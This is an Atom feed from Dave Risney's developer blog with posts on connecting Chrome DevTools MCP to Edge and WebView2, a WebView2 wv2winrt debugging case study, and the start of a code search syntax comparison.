<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:base="en">
	<title>deletethis.net</title>
	<subtitle>Dave Risney&#39;s blog on web, coding, and things</subtitle>
	<link href="https://deletethis.net/feed/feed.xml" rel="self"/>
	<link href="https://deletethis.net/dave/"/>
	<updated>2026-03-19T00:00:00Z</updated>
	<id>https://deletethis.net/dave/</id>
	<author>
		<name>Dave Risney</name>
		<email>david.risney+blog@gmail.com</email>
	</author>
	
	<entry>
		<title>Edge and WebView2 in Chrome DevTools MCP</title>
		<link href="https://deletethis.net/dave/2026-03/edge-and-webview2-in-chrome-devtools-mcp/"/>
		<updated>2026-03-19T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2026-03/edge-and-webview2-in-chrome-devtools-mcp/</id>
		<content type="html">&lt;p&gt;The &lt;a href=&quot;https://github.com/ChromeDevTools/chrome-devtools-mcp&quot;&gt;Chrome DevTools MCP&lt;/a&gt; is very useful! Although it is the &lt;strong&gt;Chrome&lt;/strong&gt; DevTools MCP, it supports connecting to pretty much all chromium based browsers. This includes Microsoft Edge and WebView2 with a bit of extra configuration in &lt;code&gt;mcp.json&lt;/code&gt;. The tool knows explicitly about Chrome, so you have to specify either the &lt;code&gt;--executablePath&lt;/code&gt; for launch scenarios or &lt;code&gt;--userDataDir&lt;/code&gt; for auto-connect scenarios.&lt;/p&gt;
&lt;h2 id=&quot;edge-launch&quot; tabindex=&quot;-1&quot;&gt;Edge Launch &lt;a class=&quot;header-anchor&quot; href=&quot;https://deletethis.net/dave/2026-03/edge-and-webview2-in-chrome-devtools-mcp/&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;To launch Edge you set the executablePath to point to your Edge binary. For example the following uses the Edge Dev channel on Windows:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;quot;args&amp;quot;: [
  &amp;quot;--registry&amp;quot;,
  &amp;quot;https://registry.npmjs.org&amp;quot;,
  &amp;quot;chrome-devtools-mcp@0.18.1&amp;quot;,
  // Relevant part next:
  &amp;quot;--executablePath=C:&#92;&#92;Program Files (x86)&#92;&#92;Microsoft&#92;&#92;Edge Dev&#92;&#92;Application&#92;&#92;msedge.exe&amp;quot;
]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;There are a few different locations where Edge could be installed so you&#39;ll need to ensure you have the correct one for your device.&lt;/p&gt;
&lt;p&gt;Default Edge install paths (not definitive, may vary based on user configuration, version or group policies):&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;OS&lt;/th&gt;
&lt;th&gt;Channel&lt;/th&gt;
&lt;th&gt;Path&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Windows&lt;/td&gt;
&lt;td&gt;Stable&lt;/td&gt;
&lt;td&gt;&lt;code&gt;%PROGRAMFILES(X86)%&#92;Microsoft&#92;Edge&#92;Application&#92;msedge.exe&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Windows&lt;/td&gt;
&lt;td&gt;Beta&lt;/td&gt;
&lt;td&gt;&lt;code&gt;%PROGRAMFILES(X86)%&#92;Microsoft&#92;Edge Beta&#92;Application&#92;msedge.exe&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Windows&lt;/td&gt;
&lt;td&gt;Dev&lt;/td&gt;
&lt;td&gt;&lt;code&gt;%PROGRAMFILES(X86)%&#92;Microsoft&#92;Edge Dev&#92;Application&#92;msedge.exe&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Windows&lt;/td&gt;
&lt;td&gt;Canary&lt;/td&gt;
&lt;td&gt;&lt;code&gt;%LOCALAPPDATA%&#92;Microsoft&#92;Edge SxS&#92;Application&#92;msedge.exe&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;macOS&lt;/td&gt;
&lt;td&gt;Stable&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/Applications/Microsoft Edge.app/Contents/MacOS/Microsoft Edge&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;macOS&lt;/td&gt;
&lt;td&gt;Beta&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/Applications/Microsoft Edge Beta.app/Contents/MacOS/Microsoft Edge&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;macOS&lt;/td&gt;
&lt;td&gt;Dev&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/Applications/Microsoft Edge Dev.app/Contents/MacOS/Microsoft Edge&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;macOS&lt;/td&gt;
&lt;td&gt;Canary&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/Applications/Microsoft Edge Canary.app/Contents/MacOS/Microsoft Edge&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Linux&lt;/td&gt;
&lt;td&gt;Stable&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/usr/bin/microsoft-edge&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Linux&lt;/td&gt;
&lt;td&gt;Beta&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/usr/bin/microsoft-edge-beta&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Linux&lt;/td&gt;
&lt;td&gt;Dev&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/usr/bin/microsoft-edge-dev&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Linux&lt;/td&gt;
&lt;td&gt;Canary&lt;/td&gt;
&lt;td&gt;Not available&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id=&quot;edge-auto-connect&quot; tabindex=&quot;-1&quot;&gt;Edge Auto-connect &lt;a class=&quot;header-anchor&quot; href=&quot;https://deletethis.net/dave/2026-03/edge-and-webview2-in-chrome-devtools-mcp/&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;To auto-connect to Edge, you need to:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Setup Edge for remote debugging:
&lt;ol&gt;
&lt;li&gt;Either use the &lt;code&gt;--remote-debugging-port=0&lt;/code&gt; flag when launching Edge&lt;/li&gt;
&lt;li&gt;Or start Edge, navigate to &lt;code&gt;edge://inspect/#remote-debugging&lt;/code&gt;, and enable remote debugging on that page&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;And then set the &lt;code&gt;--user-data-dir&lt;/code&gt; to point to the Edge user data directory in &lt;code&gt;mcp.json&lt;/code&gt;:&lt;/li&gt;
&lt;/ol&gt;
&lt;pre class=&quot;language-json&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-json&quot;&gt;&lt;span class=&quot;token property&quot;&gt;&quot;args&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;br&gt;  &lt;span class=&quot;token string&quot;&gt;&quot;--registry&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;br&gt;  &lt;span class=&quot;token string&quot;&gt;&quot;https://registry.npmjs.org&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;br&gt;  &lt;span class=&quot;token string&quot;&gt;&quot;chrome-devtools-mcp@0.18.1&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;br&gt;  &lt;span class=&quot;token comment&quot;&gt;// Relevant part next:&lt;/span&gt;&lt;br&gt;  &lt;span class=&quot;token string&quot;&gt;&quot;--autoConnect&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;br&gt;  &lt;span class=&quot;token string&quot;&gt;&quot;--user-data-dir=C:&#92;&#92;Users&#92;&#92;davris&#92;&#92;AppData&#92;&#92;Local&#92;&#92;Microsoft&#92;&#92;Edge Dev&#92;&#92;User Data&quot;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Default Edge user data directories (not definitive, may vary based on user configuration, version or group policies):&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;OS&lt;/th&gt;
&lt;th&gt;Channel&lt;/th&gt;
&lt;th&gt;Path&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Windows&lt;/td&gt;
&lt;td&gt;Stable&lt;/td&gt;
&lt;td&gt;&lt;code&gt;%LOCALAPPDATA%&#92;Microsoft&#92;Edge&#92;User Data&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Windows&lt;/td&gt;
&lt;td&gt;Beta&lt;/td&gt;
&lt;td&gt;&lt;code&gt;%LOCALAPPDATA%&#92;Microsoft&#92;Edge Beta&#92;User Data&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Windows&lt;/td&gt;
&lt;td&gt;Dev&lt;/td&gt;
&lt;td&gt;&lt;code&gt;%LOCALAPPDATA%&#92;Microsoft&#92;Edge Dev&#92;User Data&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Windows&lt;/td&gt;
&lt;td&gt;Canary&lt;/td&gt;
&lt;td&gt;&lt;code&gt;%LOCALAPPDATA%&#92;Microsoft&#92;Edge SxS&#92;User Data&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;macOS&lt;/td&gt;
&lt;td&gt;Stable&lt;/td&gt;
&lt;td&gt;&lt;code&gt;~/Library/Application Support/Microsoft Edge&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;macOS&lt;/td&gt;
&lt;td&gt;Beta&lt;/td&gt;
&lt;td&gt;&lt;code&gt;~/Library/Application Support/Microsoft Edge Beta&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;macOS&lt;/td&gt;
&lt;td&gt;Dev&lt;/td&gt;
&lt;td&gt;&lt;code&gt;~/Library/Application Support/Microsoft Edge Dev&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;macOS&lt;/td&gt;
&lt;td&gt;Canary&lt;/td&gt;
&lt;td&gt;&lt;code&gt;~/Library/Application Support/Microsoft Edge Canary&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Linux&lt;/td&gt;
&lt;td&gt;Stable&lt;/td&gt;
&lt;td&gt;&lt;code&gt;~/.config/microsoft-edge&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Linux&lt;/td&gt;
&lt;td&gt;Beta&lt;/td&gt;
&lt;td&gt;&lt;code&gt;~/.config/microsoft-edge-beta&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Linux&lt;/td&gt;
&lt;td&gt;Dev&lt;/td&gt;
&lt;td&gt;&lt;code&gt;~/.config/microsoft-edge-dev&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Linux&lt;/td&gt;
&lt;td&gt;Canary&lt;/td&gt;
&lt;td&gt;Not available&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id=&quot;webview2-auto-connect&quot; tabindex=&quot;-1&quot;&gt;WebView2 Auto-connect &lt;a class=&quot;header-anchor&quot; href=&quot;https://deletethis.net/dave/2026-03/edge-and-webview2-in-chrome-devtools-mcp/&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;WebView2 is similar to the Edge auto-connect scenario. WebView2 doesn&#39;t have a launch scenario because its up to the host app to decide when to create a WebView2.&lt;/p&gt;
&lt;p&gt;To auto-connect to WebView2, you need to:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Setup WebView2 for remote debugging using WebView2 loader overrides:
&lt;ol&gt;
&lt;li&gt;Either use WebView2Utilities and follow the &lt;a href=&quot;https://github.com/david-risney/WebView2Utilities/wiki/How-to:-Auto-open-DevTools&quot;&gt;How to: Auto open DevTools wiki page&lt;/a&gt; but instead of checking the &lt;code&gt;Auto open DevTools&lt;/code&gt; checkbox, type &lt;code&gt;--remote-debugging-port=0&lt;/code&gt; in the &lt;code&gt;Arguments&lt;/code&gt; textbox.&lt;/li&gt;
&lt;li&gt;Or manually create a registry value to set the AdditionalBrowserArguments after replacing &lt;code&gt;appname.exe&lt;/code&gt; with the name of your WebView2 host executable.&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;pre class=&quot;language-ini&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-ini&quot;&gt;&lt;span class=&quot;token section&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token section-name selector&quot;&gt;HKEY_CURRENT_USER&#92;Software&#92;Policies&#92;Microsoft&#92;Edge&#92;WebView2&#92;AdditionalBrowserArguments&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;token key attr-name&quot;&gt;&quot;appname.exe&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token value attr-value&quot;&gt;&quot;&lt;span class=&quot;token inner-value&quot;&gt;--remote-debugging-port=0&lt;/span&gt;&quot;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;And then set the &lt;code&gt;--user-data-dir&lt;/code&gt; to point to the WebView2 user data directory in &lt;code&gt;mcp.json&lt;/code&gt;. You&#39;ll need to discover the user data directory of the host app. You can use WebView2Utilities to do this as well, by going to the &lt;code&gt;Host Apps&lt;/code&gt; tab, selecting your running host app, and looking at the &lt;code&gt;User data folder&lt;/code&gt; row. For WebView2 user data folders, the path should end with &lt;code&gt;EBWebView&lt;/code&gt;. This is automatically added by WebView2 so if you are copying the path from source code, you will need to add it yourself.&lt;/li&gt;
&lt;/ol&gt;
&lt;pre class=&quot;language-json&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-json&quot;&gt;&lt;span class=&quot;token property&quot;&gt;&quot;args&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;br&gt;    &lt;span class=&quot;token string&quot;&gt;&quot;--registry&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;br&gt;    &lt;span class=&quot;token string&quot;&gt;&quot;https://registry.npmjs.org&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;br&gt;    &lt;span class=&quot;token string&quot;&gt;&quot;chrome-devtools-mcp@0.18.1&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;br&gt;    &lt;span class=&quot;token comment&quot;&gt;// Relevant part next:&lt;/span&gt;&lt;br&gt;    &lt;span class=&quot;token string&quot;&gt;&quot;--autoConnect&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;br&gt;    &lt;span class=&quot;token string&quot;&gt;&quot;--user-data-dir=C:&#92;&#92;Users&#92;&#92;davris&#92;&#92;AppData&#92;&#92;Local&#92;&#92;Packages&#92;&#92;Microsoft.WinUI3ControlsGallery_8wekyb3d8bbwe&#92;&#92;LocalState&#92;&#92;EBWebView&quot;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
</content>
	</entry>
	
	<entry>
		<title>WebView2 wv2winrt bug case study</title>
		<link href="https://deletethis.net/dave/2026-03/webview2-wv2winrt-bug-case-study/"/>
		<updated>2026-03-05T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2026-03/webview2-wv2winrt-bug-case-study/</id>
		<content type="html">&lt;p&gt;The following are my notes on investigating a bug that a customer ran into back when I was on the WebView2 team. I&#39;m sharing it here in case aspects of it can be helpful for folks in similar situations. The names of files, functions, and such have been changed. The customer had provided me a VS solution that would reproduce the bug somewhat minimally:&lt;/p&gt;
&lt;p&gt;I&#39;ve started the app, opened DevTools for WebView2, turned on &lt;code&gt;pause on exceptions&lt;/code&gt;, then I reproduced the issue by clicking the appropriate button. JavaScript throws an exception and DevTools breaks in where we can see its a stack in our AddHostObjectToScript JavaScript code handling an incoming EmbeddedBrowserWebViewEvent message. To elaborate, part of WebView2.AddHostObjectToScript is implemented using JavaScript that runs in the context of the target HTML document. That JavaScript is responsible for producing JavaScript proxy objects that represent its corresponding native host object, proxying method calls and their results, property gets and sets, and so on. Looking at the exception information in the data JSON property on the message object in the DevTools we can see it is telling us there was an error &lt;code&gt;Member not found. (0x80020003)&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;This is a response message from the native side to a request message that the JavaScript side would have initiated. The common issue for this error means that the JavaScript side asked to run a method that doesn&#39;t exist. Though in this case the customer says something else is going on.&lt;/p&gt;
&lt;p&gt;Next I look at the JavaScript to see what the corresponding request was. Its something in here so I rerun the repro but with a breakpoint on the start of this function to see when we hit the error (though I know it has to be the &lt;code&gt;await&lt;/code&gt; call because the response we saw coming in was async and everything else in here is sync):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;        async function exampleItemsAsync() {
            try {
                const instance = new Demo.Example();
                var result = await instance.getExampleItemsAsync();
                for (var v of result) {
                    logMessage(&#39;Enumerated Result Async: &#39; + v.identifier);
                }
            } catch (err) {
                logMessage(&#39;Async Error: &#39; + err);
            }
        }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I can see it is the await call.&lt;/p&gt;
&lt;p&gt;At this point I might normally check that the &lt;code&gt;GetExampleItemsAsync&lt;/code&gt; method exists in the C# class, in the winmd, in the wv2winrt tool output saying it found it, and in the generated wv2winrt C++ source. I would check the wv2winrt tool generated code under Project&#92;WinRTAdapter&#92;Generated Files&#92;wv2winrt&#92;Demo.g.cpp to see that there is code generated for the function, I would open Project&#92;x64&#92;Debug&#92;WinRTAdapter&#92;WinRTAdapter.winmd in &lt;a href=&quot;https://ilspy.net/&quot;&gt;ILSpy&lt;/a&gt; and see that it contains the method. But the customer says that&#39;s all there and I know this customer is good and has done their work. So I try putting a breakpoint in &lt;code&gt;Demo.Example.GetExampleItemsAsync()&lt;/code&gt; and when I run the repro I can see that code is getting called.&lt;/p&gt;
&lt;p&gt;So it seems like there&#39;s something wrong happening between calling &lt;code&gt;GetExampleItemsAsync&lt;/code&gt; and the JavaScript projection of the result. We saw the JavaScript projection receiving the message from native and it was already an error at that point and I stepped through and saw the end of the &lt;code&gt;GetExampleItemsAsync()&lt;/code&gt; method succeeded, so its somewhere in between. Our options for code in between is the AddHostObjectToScript C++ WebView2 code, the AddHostObjectToScript C# code (which shouldn&#39;t be involved in this case if this is truly just WinRT) and the wv2winrt generated C++ code.&lt;/p&gt;
&lt;p&gt;The wv2winrt generated code is under here: Project&#92;WinRTAdapter&#92;Generated Files&#92;wv2winrt&#92;Demo.g.cpp and where I&#39;m guessing the issue lies. I open that file, search for &lt;code&gt;GetExampleItemsAsync&lt;/code&gt;, and put some breakpoints in at invocation (its marked with a comment saying its for &lt;code&gt;// Invoke for ...&lt;/code&gt;) and in the async completed handler (the callback lambda passed as a parameter to the &lt;code&gt;asyncResultAsWinRT.Completed&lt;/code&gt; method call). Note I had to turn on mixed mode debugging in the VS project settings.&lt;/p&gt;
&lt;p&gt;Then running the repro I see the invocation breakpoint hit, the C# code breakpoint I set earlier hits, then the async completed handler, then an exception is getting thrown from the c++/winrt code during our generated code call to Convert:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;resultAsVariant.reset(Converter&amp;lt;decltype(resultAsWinRT), VARIANT&amp;gt;(
    dispatchAdapter).Convert(resultAsWinRT));
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This generated code is the boundary between the WinRT code and the COM IDispatch code that AddHostObjectToScript deals with. This line is trying to convert the WinRT type we got as a result of the async call, into a COM IDispatch related type that AddHostObjectToScript can deal with.&lt;/p&gt;
&lt;p&gt;Looking at the method in our stack just before the winrt::check_hresult call we can see the failure is coming from the following:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;HRESULT hr = CreateDispatchFromInspectable(
    unwrappedAsABI.get(), dispatchAdapter, dispatch.put(), &amp;amp;is_cacheable);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I put a breakpoint on this line but disable it because it will get hit a bunch during the repro. I rerun the repro, and when the async completed handler bp hits, I reenable this bp. Stepping into this function the first interesting thing to check is the &lt;code&gt;IInspectable.RuntimeClassName&lt;/code&gt; which is the name of the WinRT type we&#39;re trying to convert to. In this case its &amp;quot;Windows.Foundation.Collections.IVector`1&amp;lt;Demo.ExampleItem&amp;gt;&amp;quot; which is a WinRT type for a vector of ExampleItems. Stepping through the code the call to &lt;code&gt;LookupInstanceConstructibleEntry&lt;/code&gt; returns nullptr.&lt;/p&gt;
&lt;p&gt;LookupInstanceConstructibleEntry should return a wrapper class we can use to wrap an &lt;code&gt;IInspectable&lt;/code&gt; (WinRT type) of the specified type name. This list and the wrapper classes are all generated in the wv2winrt generated code. If the   &lt;code&gt;IVector&#92;&lt;/code&gt;1` typename isn&#39;t generated then there may be either something wrong with wv2winrt that it doesn&#39;t generate this, or we have to adjust the wv2winrt configuration to tell it to include this type.&lt;/p&gt;
&lt;p&gt;Just to make sure I understand what code was generated I search for &lt;code&gt;IVector&lt;/code&gt; in the wv2winrt code. In &lt;code&gt;globals.cpp&lt;/code&gt; we can see the &lt;code&gt;s_instanceConstructibleEntries&lt;/code&gt; array that &lt;code&gt;LookupInstanceConstructibleEntry&lt;/code&gt; was checking. It is sorted alphabetically and in it we see some entries for &lt;code&gt;IVector&lt;/code&gt; but not the type we want. So it looks like wv2winrt tool didn&#39;t include this type. We can look at the wv2winrt tool output from when WinRTAdapter is built to see if there&#39;s any clues. With verbose output turned on wv2winrt tool will list why it is including or excluding types. After rebuilding WinRTAdapter I search for &lt;code&gt;IVector&lt;/code&gt; in the tool&#39;s output:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1&amp;gt;Including via reference: Demo.Example.GetListOfOther -&amp;gt; Windows.Foundation.Collections.IVector`1&amp;lt;Demo.MyClass&amp;gt;
1&amp;gt;Including via reference: Demo.Example.GetExampleItemsAsync -&amp;gt; Windows.Foundation.IAsyncOperation`1&amp;lt;Windows.Foundation.Collections.IIterable`1&amp;lt;Demo.ExampleItem&amp;gt;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Conveniently, &lt;code&gt;GetListOfOther&lt;/code&gt; gives us an example of something that is working and producing a found &lt;code&gt;IVector&lt;/code&gt; type. The main differences are that &lt;code&gt;GetListOfOther&lt;/code&gt; is not async and it is also listed here as returning an &lt;code&gt;IVector&lt;/code&gt; whereas &lt;code&gt;GetExampleItemsAsync&lt;/code&gt; is async and returning an &lt;code&gt;IIterable&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Lower in the tool output we see it finding the async&#39;s completed type:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1&amp;gt;Including via reference: Windows.Foundation.IAsyncOperation`1&amp;lt;Windows.Foundation.Collections.IIterable`1&amp;lt;Demo.ExampleItem&amp;gt;&amp;gt;.GetResults -&amp;gt; Windows.Foundation.Collections.IIterable`1&amp;lt;Demo.ExampleItem&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So it doesn&#39;t seem like the issue is that its async. Opening Project&#92;x64&#92;Debug&#92;Demo.winmd in &lt;a href=&quot;https://ilspy.net/&quot;&gt;ILSpy&lt;/a&gt; I can see that the winmd does indeed seem to say
&lt;code&gt;IAsyncOperation&amp;lt;IIterable&amp;lt;ExampleItem&amp;gt;&amp;gt; IExampleClass.GetExampleItemsAsync();&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;It seems to be the issue since at runtime the typename for the returned object was &lt;code&gt;IVector&amp;lt;ExampleItem&amp;gt;&lt;/code&gt; not &lt;code&gt;IIterable&amp;lt;ExampleItem&amp;gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;To resolve this we should either get C#/WinMD tool to return &lt;code&gt;IVector&lt;/code&gt; instead of &lt;code&gt;IIterable&lt;/code&gt;, or get the wv2winrt tool to generate code for &lt;code&gt;IVector&amp;lt;ExampleItem&amp;gt;&lt;/code&gt;. I&#39;m going to try the second option.&lt;/p&gt;
&lt;p&gt;I open the project file (Project&#92;WinRTAdapter&#92;WinRTAdapter.vcxproj) in VSCode and examine the WebView2* properties directly:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;WebView2DispatchAdapterIncludeFilters&amp;gt;Demo;Windows.System.UserProfile;Windows.Globalization.Language;$(WebView2DispatchAdapterIncludeFilters)&amp;lt;/WebView2DispatchAdapterIncludeFilters&amp;gt;
&amp;lt;WV2WinRTVerbosity&amp;gt;high&amp;lt;/WV2WinRTVerbosity&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;(Notice that WV2WinRTVerbosity is already set to &#39;high&#39; - this is important in order to get the wv2winrt tool verbose output that helped us earlier)&lt;/p&gt;
&lt;p&gt;The WebView2DispatchAdapterIncludeFilters property is a bunch of namespace or type names that should be included by the wv2winrt code generation. We can try adding our type name here. When I do this I start getting strange errors. I expect this is a problem with the &lt;code&gt;&#92;`` and &lt;/code&gt;&amp;lt;&amp;gt;` characters and wv2winrt tool not handling it properly or the command line not getting constructed with them correctly. This is likely a wv2winrt bug although perhaps I&#39;m messing up their encoding in the project file.&lt;/p&gt;
&lt;p&gt;Instead I try the first solution, I add the following code to Example2.cs:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public IAsyncOperation&amp;lt;IList&amp;lt;ExampleItem&amp;gt;&amp;gt; DummyMethod() { return null; }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now rebuilding Demo and WinRTAdapter everything is building. Looking in the wv2winrt output from WinRTAdapter we can see the following:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1&amp;gt;Including via reference: Demo.Example.DummyMethod -&amp;gt; Windows.Foundation.IAsyncOperation`1&amp;lt;Windows.Foundation.Collections.IVector`1&amp;lt;Demo.ExampleItem&amp;gt;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And now running the bug repro the issue no longer occurs.&lt;/p&gt;
&lt;p&gt;Having this dummy method is a workaround to the issue. A better solution would be to add the &lt;code&gt;IVector&#92;&lt;/code&gt;1` type to the project&#39;s WebView2DispatchAdapterIncludeFilters.&lt;/p&gt;
&lt;p&gt;The real issue is that the runtime object and the winmd disagree about the type that&#39;s getting returned &lt;code&gt;IIterable&lt;/code&gt; vs &lt;code&gt;IVector&lt;/code&gt; which should be caused by CsWinRT the tool that is connecting up the C# to WinRT.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Code Search Comparison: GitHub, Azure DevOps, and Chromium</title>
		<link href="https://deletethis.net/dave/2025-08/code-search-comparison--github--azure-devops--and-chromium/"/>
		<updated>2025-08-06T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2025-08/code-search-comparison--github--azure-devops--and-chromium/</id>
		<content type="html">&lt;p&gt;Before working in Chromium I had been using our internal project&#39;s Azure DevOps (ADO) code search feature, and occassionally using Chromium Code Search or GitHub&#39;s code search. It seemed like Chromium Code Search or GitHub code search would only sometimes work with my queries. Sitting down to compare the syntax of them led me to figure out why and the power of Chromium Code Search:&lt;/p&gt;
&lt;h2 id=&quot;comparison-table&quot; tabindex=&quot;-1&quot;&gt;Comparison Table &lt;a class=&quot;header-anchor&quot; href=&quot;https://deletethis.net/dave/2025-08/code-search-comparison--github--azure-devops--and-chromium/&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Feature&lt;/th&gt;
&lt;th&gt;ADO&lt;/th&gt;
&lt;th&gt;Chromium&lt;/th&gt;
&lt;th&gt;GitHub&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Wildcard syntax&lt;/td&gt;
&lt;td&gt;Full glob match (&lt;code&gt;*&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;Partial regex match (uses regular expressions, e.g. &lt;code&gt;.*&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;Paths use partial glob, everything else is partial literal match, or partial regex with slashes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
